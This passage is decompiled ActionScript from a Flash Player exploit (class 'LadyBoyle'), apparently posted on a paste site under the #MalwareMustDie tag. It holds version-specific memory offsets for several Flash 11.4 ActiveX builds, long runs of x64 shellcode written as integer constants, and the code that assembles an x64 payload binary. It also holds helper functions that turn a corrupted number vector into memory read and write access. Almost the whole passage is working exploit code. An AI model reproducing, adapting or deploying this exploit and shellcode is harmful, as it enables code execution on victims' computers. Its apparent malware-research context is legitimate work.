  683. _local40 = (_local16 - 2558975);
  684. };
  685. break;
  686. case "win 11,4,402,287":
  687. if (capabilities.playertype.tolowercase() == "activex") {
  688. _local25 = (_local16 - 4396458);
  689. _local26 = ((_local16 - 10488402) + 6295484);
  690. _local36 = (_local16 - 10718521);
  691. _local37 = (_local16 - 10488402);
  692. _local38 = (_local16 - 10712843);
  693. _local39 = (_local16 - 4552839);
  694. _local40 = ((_local16 - 4396458) - 5883414);
  695. };
  696. break;
  697. case "win 11,4,402,278":
  698. if (capabilities.playertype.tolowercase() == "activex") {
  699. _local25 = (_local16 - 4174757);
  700. _local26 = (_local16 - 4191990);
  701. _local36 = (_local16 - 4618011);
  702. _local37 = (_local16 - 4568738);
  703. _local38 = (_local16 - 6192519);
  704. _local39 = (_local16 - 4551855);
  705. _local40 = (_local16 - 1561744);
  706. };
  707. break;
  708. case "win 11,4,402,265":
  709. if (capabilities.playertype.tolowercase() == "activex") {
  710. _local25 = (_local16 - 4174757);
  711. _local26 = (_local16 - 4191990);
  712. _local36 = (_local16 - 1865551);
  713. _local37 = (_local16 - 1146567);
  714. _local38 = (_local16 - 1838030);
  715. _local39 = (_local16 - 4551855);
  716. _local40 = (_local16 - 927856);
  717. };
  718. break;
  719. default:
  720. do {} while (1);
  721. };
  722. _local17.endian = Endian.LITTLE_ENDIAN;
  723. _local34 = _local17.position;
  724. _local17.position = (_local17.position + 224);
  725. _local17.writeUnsignedInt(_local25);
  726. _local17.position = _local34;
  727. _local17.position = (_local17.position + 160);
  728. _local17.writeUnsignedInt((_local12 + 0x0100));
  729. _local17.writeUnsignedInt(_local31);
  730. _local17.position = _local34;
  731. _local17.writeUnsignedInt(_local37);
  732. _local17.writeUnsignedInt(0);
  733. _local17.writeUnsignedInt(64);
  734. _local17.writeUnsignedInt(0);
  735. _local17.writeUnsignedInt(_local39);
  736. _local17.writeUnsignedInt(0);
  737. _local17.position = (_local17.position + 40);
  738. _local17.writeUnsignedInt(_local36);
  739. _local17.writeUnsignedInt(0);
  740. _local17.writeUnsignedInt((_local12 + 0x0100));
  741. _local17.writeUnsignedInt(_local31);
  742. _local17.writeUnsignedInt(_local38);
  743. _local17.writeUnsignedInt(0);
  744. _local17.writeUnsignedInt(0x2000);
  745. _local17.writeUnsignedInt(0);
  746. _local17.writeUnsignedInt(_local37);
  747. _local17.writeUnsignedInt(0);
  748. _local17.writeUnsignedInt(_local26);
  749. _local17.writeUnsignedInt(0);
  750. _local17.writeUnsignedInt(_local40);
  751. _local17.writeUnsignedInt(0);
  752. _local17.position = (_local34 + 0x0100);
  753. _local17.writeUnsignedInt(1442615440);
  754. _local17.writeUnsignedInt(4041507656);
  755. _local17.writeUnsignedInt(1708274504);
  756. _local17.writeUnsignedInt(1616022344);
  757. _local17.writeUnsignedInt(408062792);
  758. _local17.writeUnsignedInt(542280520);
  759. _local17.writeUnsignedInt(1349684040);
  760. _local17.writeUnsignedInt(1253510984);
  761. _local17.writeUnsignedInt(3375582538);
  762. _local17.writeUnsignedInt(2898277192);
  763. _local17.writeUnsignedInt(41705788);
  764. _local17.writeUnsignedInt(3242270764);
  765. _local17.writeUnsignedInt(54791625);
  766. _local17.writeUnsignedInt(1391321800);
  767. _local17.writeUnsignedInt(3125367105);
  768. _local17.writeUnsignedInt(2460948186);
  769. _local17.writeUnsignedInt(0);
  770. _local17.writeUnsignedInt(1976187725);
  771. _local17.writeUnsignedInt(1384859717);
  772. _local17.writeUnsignedInt(1010993952);
  773. _local17.writeUnsignedInt(2344747848);
  774. _local17.writeUnsignedInt(34944);
  775. _local17.writeUnsignedInt(0xC0854800);
  776. _local17.writeUnsignedInt(2168991860);
  777. _local17.writeUnsignedInt(98540);
  778. _local17.writeUnsignedInt(0xFC8B4800);
  779. _local17.writeUnsignedInt(2162983240);
  780. _local17.writeUnsignedInt(0x48000000);
  781. _local17.writeUnsignedInt(2337325571);
  782. _local17.writeUnsignedInt(2336495688);
  783. _local17.writeUnsignedInt(55320640);
  784. _local17.writeUnsignedInt(1284065474);
  785. _local17.writeUnsignedInt(2303465508);
  786. _local17.writeUnsignedInt(1210065988);
  787. _local17.writeUnsignedInt(673465481);
  788. _local17.writeUnsignedInt(1497434347);
  789. _local17.writeUnsignedInt(311117914);
  790. _local17.writeUnsignedInt(1095860971);
  791. _local17.writeUnsignedInt(3669641552);
  792. _local17.writeUnsignedInt(22010614);
  793. _local17.writeUnsignedInt(0xE8000000);
  794. _local17.writeUnsignedInt(315);
  795. _local17.writeUnsignedInt(1225230664);
  796. _local17.writeUnsignedInt(2924948922);
  797. _local17.writeUnsignedInt(347);
  798. _local17.writeUnsignedInt(19523584);
  799. _local17.writeUnsignedInt(0x89480000);
  800. _local17.writeUnsignedInt(3125348423);
  801. _local17.writeUnsignedInt(1384617670);
  802. _local17.writeUnsignedInt(1);
  803. _local17.writeUnsignedInt(71400);
  804. _local17.writeUnsignedInt(0x47894800);
  805. _local17.writeUnsignedInt(1287276816);
  806. _local17.writeUnsignedInt(17245815);
  807. _local17.writeUnsignedInt(0xE8000000);
  808. _local17.writeUnsignedInt(259);
  809. _local17.writeUnsignedInt(407341384);
  810. _local17.writeUnsignedInt(4080056905);
  811. _local17.writeUnsignedInt(58441);
  812. _local17.writeUnsignedInt(0xF0E80000);
  813. _local17.writeUnsignedInt(0x48000000);
  814. _local17.writeUnsignedInt(1210075017);
  815. _local17.writeUnsignedInt(2370369419);
  816. _local17.writeUnsignedInt(32958);
  817. _local17.writeUnsignedInt(0x40B900);
  818. _local17.writeUnsignedInt(0x33480000);
  819. _local17.writeUnsignedInt(3115054016);
  820. _local17.writeUnsignedInt(0x0100);
  821. _local17.writeUnsignedInt(2156301640);
  822. _local17.writeUnsignedInt(0x48000000);
  823. _local17.writeUnsignedInt(2336805003);
  824. _local17.writeUnsignedInt(1451969752);
  825. _local17.writeUnsignedInt(3539943712);
  826. _local17.writeUnsignedInt(2156301640);
  827. _local17.writeUnsignedInt(0x48000000);
  828. _local17.writeUnsignedInt(860408115);
  829. _local17.writeUnsignedInt(51153627);
  830. _local17.writeUnsignedInt(2160328520);
  831. _local17.writeUnsignedInt(0xF57500F9);
  832. _local17.writeUnsignedInt(3352035144);
  833. _local17.writeUnsignedInt(1868759812);
  834. _local17.writeUnsignedInt(1153918574);
  835. _local17.writeUnsignedInt(1734935555);
  836. _local17.writeUnsignedInt(1153917998);
  837. _local17.writeUnsignedInt(1819019267);
  838. _local17.writeUnsignedInt(0x33450000);
  839. _local17.writeUnsignedInt(1153910985);
  840. _local17.writeUnsignedInt(12324);
  841. _local17.writeUnsignedInt(0x8D480000);
  842. _local17.writeUnsignedInt(32910);
  843. _local17.writeUnsignedInt(45629696);
  844. _local17.writeUnsignedInt(0x48000000);
  845. _local17.writeUnsignedInt(49863);
  846. _local17.writeUnsignedInt(0x44C74000);
  847. _local17.writeUnsignedInt(8398884);
  848. _local17.writeUnsignedInt(0x44C70000);
  849. _local17.writeUnsignedInt(139300);
  850. _local17.writeUnsignedInt(0x8B4C0000);
  851. _local17.writeUnsignedInt(3539943702);
  852. _local17.writeUnsignedInt(1222150984);
  853. _local17.writeUnsignedInt(268433539);
  854. _local17.writeUnsignedInt(40068);
  855. _local17.writeUnsignedInt(0x4C8D4C00);
  856. _local17.writeUnsignedInt(3125297188);
  857. _local17.writeUnsignedInt(0x42424242);
  858. _local17.writeUnsignedInt(0x42424242);
  859. _local17.writeUnsignedInt(3091304592);
  860. _local17.writeUnsignedInt(0x41414141);
  861. _local17.writeUnsignedInt(1221299016);
  862. _local17.writeUnsignedInt(539247815);
  863. _local17.writeUnsignedInt(0);
  864. _local17.writeUnsignedInt(139889484);
  865. _local17.writeUnsignedInt(1221787457);
  866. _local17.writeUnsignedInt(0x7400F883);
  867. _local17.writeUnsignedInt(3414902892);
  868. _local17.writeUnsignedInt(274107212);
  869. _local17.writeUnsignedInt(1221787457);
  870. _local17.writeUnsignedInt(8425101);
  871. _local17.writeUnsignedInt(0x8B4C0000);
  872. _local17.writeUnsignedInt(4282456150);
  873. _local17.writeUnsignedInt(1213393874);
  874. _local17.writeUnsignedInt(270814347);
  875. _local17.writeUnsignedInt(608471884);
  876. _local17.writeUnsignedInt(3388950536);
  877. _local17.writeUnsignedInt(2285144897);
  878. _local17.writeUnsignedInt(1307706184);
  879. _local17.writeUnsignedInt(860408115);
  880. _local17.writeUnsignedInt(3242306752);
  881. _local17.writeUnsignedInt(54791625);
  882. _local17.writeUnsignedInt(1975794376);
  883. _local17.writeUnsignedInt(3246475761);
  884. _local17.writeUnsignedInt(2460948186);
  885. _local17.writeUnsignedInt(1976187717);
  886. _local17.writeUnsignedInt(1149978840);
  887. _local17.writeUnsignedInt(2336505892);
  888. _local17.writeUnsignedInt(55321664);
  889. _local17.writeUnsignedInt(2336319170);
  890. _local17.writeUnsignedInt(2336507916);
  891. _local17.writeUnsignedInt(55319616);
  892. _local17.writeUnsignedInt(76235202);
  893. _local17.writeUnsignedInt(3254995080);
  894. _local17.writeUnsignedInt(3108606147);
  895. _local17.writeUnsignedInt(0x47474747);
  896. _local17.writeUnsignedInt(1095190343);
  897. _local17.writeUnsignedInt(268552001);
  898. _local17.writeUnsignedInt(0x4D000000);
  899. _local17.writeUnsignedInt(4285563277);
  900. _local17.writeUnsignedInt(2336882687);
  901. _local17.writeUnsignedInt(8997121);
  902. _local17.writeUnsignedInt(138513225);
  903. _local17.writeUnsignedInt(138447177);
  904. _local17.writeUnsignedInt(3108606096);
  905. _local17.writeUnsignedInt(0x48484848);
  906. _local17.writeUnsignedInt(0x48484848);
  907. _local17.writeUnsignedInt(3091304592);
  908. _local17.writeUnsignedInt(0x49494949);
  909. _local17.writeUnsignedInt(1090619717);
  910. _local17.writeUnsignedInt(278983);
  911. _local17.writeUnsignedInt(0x48000000);
  912. _local17.writeUnsignedInt(3282593165);
  913. _local17.writeUnsignedInt(0x90909090);
  914. _local18.data.now = new date()
  915. .time;
  916. _local18.flush();
  917. _local18.close();
  918. _local35 = new this.the_x64_Class(); /// x64
  919. _local17.writeBytes(_local35, 0, _local35.length);
  920. _local12 = _local13;
  921. _local15 = ((((_local12 + 128) - _local10) - 16) / 8);
  922. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  923. _local15 = ((((_local12 + 16) - _local10) - 16) / 8);
  924. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  925. _local12 = (_local12 + _local14);
  926. _local17.position = _local14; //// Buiding x64 binary...........
  927. _local34 = _local17.position;
  928. _local17.position = (_local17.position + 224);
  929. _local17.writeUnsignedInt(_local25);
  930. _local17.position = _local34;
  931. _local17.position = (_local17.position + 160);
  932. _local17.writeUnsignedInt((_local12 + 0x0100));
  933. _local17.writeUnsignedInt(_local31);
  934. _local17.position = _local34;
  935. _local17.writeUnsignedInt(_local37);
  936. _local17.writeUnsignedInt(0);
  937. _local17.writeUnsignedInt(64);
  938. _local17.writeUnsignedInt(0);
  939. _local17.writeUnsignedInt(_local39);
  940. _local17.writeUnsignedInt(0);
  941. _local17.position = (_local17.position + 40);
  942. _local17.writeUnsignedInt(_local36);
  943. _local17.writeUnsignedInt(0);
  944. _local17.writeUnsignedInt((_local12 + 0x0100));
  945. _local17.writeUnsignedInt(_local31);
  946. _local17.writeUnsignedInt(_local38);
  947. _local17.writeUnsignedInt(0);
  948. _local17.writeUnsignedInt(0x2000);
  949. _local17.writeUnsignedInt(0);
  950. _local17.writeUnsignedInt(_local37);
  951. _local17.writeUnsignedInt(0);
  952. _local17.writeUnsignedInt(_local26);
  953. _local17.writeUnsignedInt(0);
  954. _local17.writeUnsignedInt(_local40);
  955. _local17.writeUnsignedInt(0);
  956. _local17.position = (_local34 + 0x0100);
  957. _local17.writeUnsignedInt(1442615440);
  958. _local17.writeUnsignedInt(4041507656);
  959. _local17.writeUnsignedInt(1708274504);
  960. _local17.writeUnsignedInt(1616022344);
  961. _local17.writeUnsignedInt(408062792);
  962. _local17.writeUnsignedInt(542280520);
  963. _local17.writeUnsignedInt(1349684040);
  964. _local17.writeUnsignedInt(1253510984);
  965. _local17.writeUnsignedInt(3375582538);
  966. _local17.writeUnsignedInt(2898277192);
  967. _local17.writeUnsignedInt(41705788);
  968. _local17.writeUnsignedInt(3242270764);
  969. _local17.writeUnsignedInt(54791625);
  970. _local17.writeUnsignedInt(1391321800);
  971. _local17.writeUnsignedInt(3125367105);
  972. _local17.writeUnsignedInt(2460948186);
  973. _local17.writeUnsignedInt(0);
  974. _local17.writeUnsignedInt(1976187725);
  975. _local17.writeUnsignedInt(1384859717);
  976. _local17.writeUnsignedInt(1010993952);
  977. _local17.writeUnsignedInt(2344747848);
  978. _local17.writeUnsignedInt(34944);
  979. _local17.writeUnsignedInt(0xC0854800);
  980. _local17.writeUnsignedInt(2168991860);
  981. _local17.writeUnsignedInt(98540);
  982. _local17.writeUnsignedInt(0xFC8B4800);
  983. _local17.writeUnsignedInt(2162983240);
  984. _local17.writeUnsignedInt(0x48000000);
  985. _local17.writeUnsignedInt(2337325571);
  986. _local17.writeUnsignedInt(2336495688);
  987. _local17.writeUnsignedInt(55320640);
  988. _local17.writeUnsignedInt(1284065474);
  989. _local17.writeUnsignedInt(2303465508);
  990. _local17.writeUnsignedInt(1210065988);
  991. _local17.writeUnsignedInt(673465481);
  992. _local17.writeUnsignedInt(1497434347);
  993. _local17.writeUnsignedInt(311117914);
  994. _local17.writeUnsignedInt(1095860971);
  995. _local17.writeUnsignedInt(3669641552);
  996. _local17.writeUnsignedInt(22010614);
  997. _local17.writeUnsignedInt(0xE8000000);
  998. _local17.writeUnsignedInt(315);
  999. _local17.writeUnsignedInt(1225230664);
  1000. _local17.writeUnsignedInt(2924948922);
  1001. _local17.writeUnsignedInt(347);
  1002. _local17.writeUnsignedInt(19523584);
  1003. _local17.writeUnsignedInt(0x89480000);
  1004. _local17.writeUnsignedInt(3125348423);
  1005. _local17.writeUnsignedInt(1384617670);
  1006. _local17.writeUnsignedInt(1);
  1007. _local17.writeUnsignedInt(71400);
  1008. _local17.writeUnsignedInt(0x47894800);
  1009. _local17.writeUnsignedInt(1287276816);
  1010. _local17.writeUnsignedInt(17245815);
  1011. _local17.writeUnsignedInt(0xE8000000);
  1012. _local17.writeUnsignedInt(259);
  1013. _local17.writeUnsignedInt(407341384);
  1014. _local17.writeUnsignedInt(4080056905);
  1015. _local17.writeUnsignedInt(58441);
  1016. _local17.writeUnsignedInt(0xF0E80000);
  1017. _local17.writeUnsignedInt(0x48000000);
  1018. _local17.writeUnsignedInt(1210075017);
  1019. _local17.writeUnsignedInt(2370369419);
  1020. _local17.writeUnsignedInt(32958);
  1021. _local17.writeUnsignedInt(0x40B900);
  1022. _local17.writeUnsignedInt(0x33480000);
  1023. _local17.writeUnsignedInt(3115054016);
  1024. _local17.writeUnsignedInt(0x0100);
  1025. _local17.writeUnsignedInt(2156301640);
  1026. _local17.writeUnsignedInt(0x48000000);
  1027. _local17.writeUnsignedInt(2336805003);
  1028. _local17.writeUnsignedInt(1451969752);
  1029. _local17.writeUnsignedInt(3539943712);
  1030. _local17.writeUnsignedInt(2156301640);
  1031. _local17.writeUnsignedInt(0x48000000);
  1032. _local17.writeUnsignedInt(860408115);
  1033. _local17.writeUnsignedInt(51153627);
  1034. _local17.writeUnsignedInt(2160328520);
  1035. _local17.writeUnsignedInt(0xF57500F9);
  1036. _local17.writeUnsignedInt(3352035144);
  1037. _local17.writeUnsignedInt(1868759812);
  1038. _local17.writeUnsignedInt(1153918574);
  1039. _local17.writeUnsignedInt(1734935555);
  1040. _local17.writeUnsignedInt(1153917998);
  1041. _local17.writeUnsignedInt(1819019267);
  1042. _local17.writeUnsignedInt(0x33450000);
  1043. _local17.writeUnsignedInt(1153910985);
  1044. _local17.writeUnsignedInt(12324);
  1045. _local17.writeUnsignedInt(0x8D480000);
  1046. _local17.writeUnsignedInt(32910);
  1047. _local17.writeUnsignedInt(45629696);
  1048. _local17.writeUnsignedInt(0x48000000);
  1049. _local17.writeUnsignedInt(49863);
  1050. _local17.writeUnsignedInt(0x44C74000);
  1051. _local17.writeUnsignedInt(8398884);
  1052. _local17.writeUnsignedInt(0x44C70000);
  1053. _local17.writeUnsignedInt(139300);
  1054. _local17.writeUnsignedInt(0x8B4C0000);
  1055. _local17.writeUnsignedInt(3539943702);
  1056. _local17.writeUnsignedInt(1222150984);
  1057. _local17.writeUnsignedInt(268433539);
  1058. _local17.writeUnsignedInt(40068);
  1059. _local17.writeUnsignedInt(0x4C8D4C00);
  1060. _local17.writeUnsignedInt(3125297188);
  1061. _local17.writeUnsignedInt((_local12 + 900));
  1062. _local17.writeUnsignedInt(_local31);
  1063. _local17.writeUnsignedInt(3091304592);
  1064. _local17.writeUnsignedInt(_local35.length);
  1065. _local17.writeUnsignedInt(1221299016);
  1066. _local17.writeUnsignedInt(539247815);
  1067. _local17.writeUnsignedInt(0);
  1068. _local17.writeUnsignedInt(139889484);
  1069. _local17.writeUnsignedInt(1221787457);
  1070. _local17.writeUnsignedInt(0x7400F883);
  1071. _local17.writeUnsignedInt(3414902892);
  1072. _local17.writeUnsignedInt(274107212);
  1073. _local17.writeUnsignedInt(1221787457);
  1074. _local17.writeUnsignedInt(8425101);
  1075. _local17.writeUnsignedInt(0x8B4C0000);
  1076. _local17.writeUnsignedInt(4282456150);
  1077. _local17.writeUnsignedInt(1213393874);
  1078. _local17.writeUnsignedInt(270814347);
  1079. _local17.writeUnsignedInt(608471884);
  1080. _local17.writeUnsignedInt(3388950536);
  1081. _local17.writeUnsignedInt(2285144897);
  1082. _local17.writeUnsignedInt(1307706184);
  1083. _local17.writeUnsignedInt(860408115);
  1084. _local17.writeUnsignedInt(3242306752);
  1085. _local17.writeUnsignedInt(54791625);
  1086. _local17.writeUnsignedInt(1975794376);
  1087. _local17.writeUnsignedInt(3246475761);
  1088. _local17.writeUnsignedInt(2460948186);
  1089. _local17.writeUnsignedInt(1976187717);
  1090. _local17.writeUnsignedInt(1149978840);
  1091. _local17.writeUnsignedInt(2336505892);
  1092. _local17.writeUnsignedInt(55321664);
  1093. _local17.writeUnsignedInt(2336319170);
  1094. _local17.writeUnsignedInt(2336507916);
  1095. _local17.writeUnsignedInt(55319616);
  1096. _local17.writeUnsignedInt(76235202);
  1097. _local17.writeUnsignedInt(3254995080);
  1098. _local17.writeUnsignedInt(3108606147);
  1099. _local17.writeUnsignedInt(_local10);
  1100. _local17.writeUnsignedInt(_local31);
  1101. _local17.writeUnsignedInt(268552001);
  1102. _local17.writeUnsignedInt(0x4D000000);
  1103. _local17.writeUnsignedInt(4285563277);
  1104. _local17.writeUnsignedInt(2336882687);
  1105. _local17.writeUnsignedInt(8997121);
  1106. _local17.writeUnsignedInt(138513225);
  1107. _local17.writeUnsignedInt(138447177);
  1108. _local17.writeUnsignedInt(3108606096);
  1109. _local17.writeUnsignedInt(_local11);
  1110. _local17.writeUnsignedInt(_local31);
  1111. _local17.writeUnsignedInt(3091304592);
  1112. _local17.writeUnsignedInt(_local16);
  1113. _local17.writeUnsignedInt(1090619717);
  1114. _local17.writeUnsignedInt(278983);
  1115. _local17.writeUnsignedInt(0x48000000);
  1116. _local17.writeUnsignedInt(3282593165);
  1117. _local17.writeUnsignedInt(0x90909090);
  1118. _local15 = (((_local11 - _local10) - 16) / 8);
  1119. (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local12, _local31);
  1120. new number(_local6.tostring());
  1121. return;
  1122. };
  1123. do {} while (1);
  1124. }
  1125. public
  1126. function randRange(_arg1: number, _arg2: number): number {
  1127. var _local3: number = (math.floor((math.random() * ((_arg2 - _arg1) + 1))) + _arg1);
  1128. return (_local3);
  1129. }
  1130. public
  1131. function empty(): void {
  1132. var _local1: textfield = new textfield();
  1133. _local1.autosize = TextFieldAutoSize.left;
  1134. var _local2: textformat = new textformat();
  1135. _local2.size = 30;
  1136. _local2.font = "Arial";
  1137. _local2.color = 0xFF0000;
  1138. _local1.settextformat(_local2);
  1139. _local1.text = " ";
  1140. addChild(_local1);
  1141. }
  1142. public
  1143. function UintToDouble(_arg1: uint, _arg2: uint): number {
  1144. var _local3: ByteArray = new ByteArray();
  1145. _local3.endian = Endian.LITTLE_ENDIAN;
  1146. _local3.writeInt(_arg1);
  1147. _local3.writeInt(_arg2);
  1148. _local3.position = 0;
  1149. return (_local3.readDouble());
  1150. }
  1151. public
  1152. function ReadDouble(_arg1: Vector. < Number > , _arg2: uint): Vector. < uint > {
  1153. var _local3: Vector. < uint > = new < uint > [0, 0];
  1154. var _local4: number = _arg1[_arg2];
  1155. var _local5: ByteArray = new ByteArray();
  1156. _local5.position = 0;
  1157. _local5.writeDouble(_local4);
  1158. _local3[1] = ((((_local5[0] * 16777216) + (_local5[1] * 65536)) + (_local5[2] * 0x0100)) + _local5[3]);
  1159. _local3[0] = ((((_local5[4] * 16777216) + (_local5[5] * 65536)) + (_local5[6] * 0x0100)) + _local5[7]);
  1160. return (_local3);
  1161. }
  1162.  
  1163. }
  1164. var _local1: * = new LadyBoyle();
  1165. return (_local1);
  1166. } //package
  1167. package {
  1168. import mx.core.*;
  1169.  
  1170. public class LadyBoyle_the_x32_Class extends ByteArrayAsset {
  1171.  
  1172. }
  1173. } //package
  1174. package {
  1175. import mx.core.*;
  1176.  
  1177. public class LadyBoyle_the_x64_Class extends ByteArrayAsset {
  1178.  
  1179. }
  1180. } //package
  1181.  
  1182.  
  1183. ----
  1184. #MalwareMustDie
Advertisement
Add Comment
Please, Sign In to add comment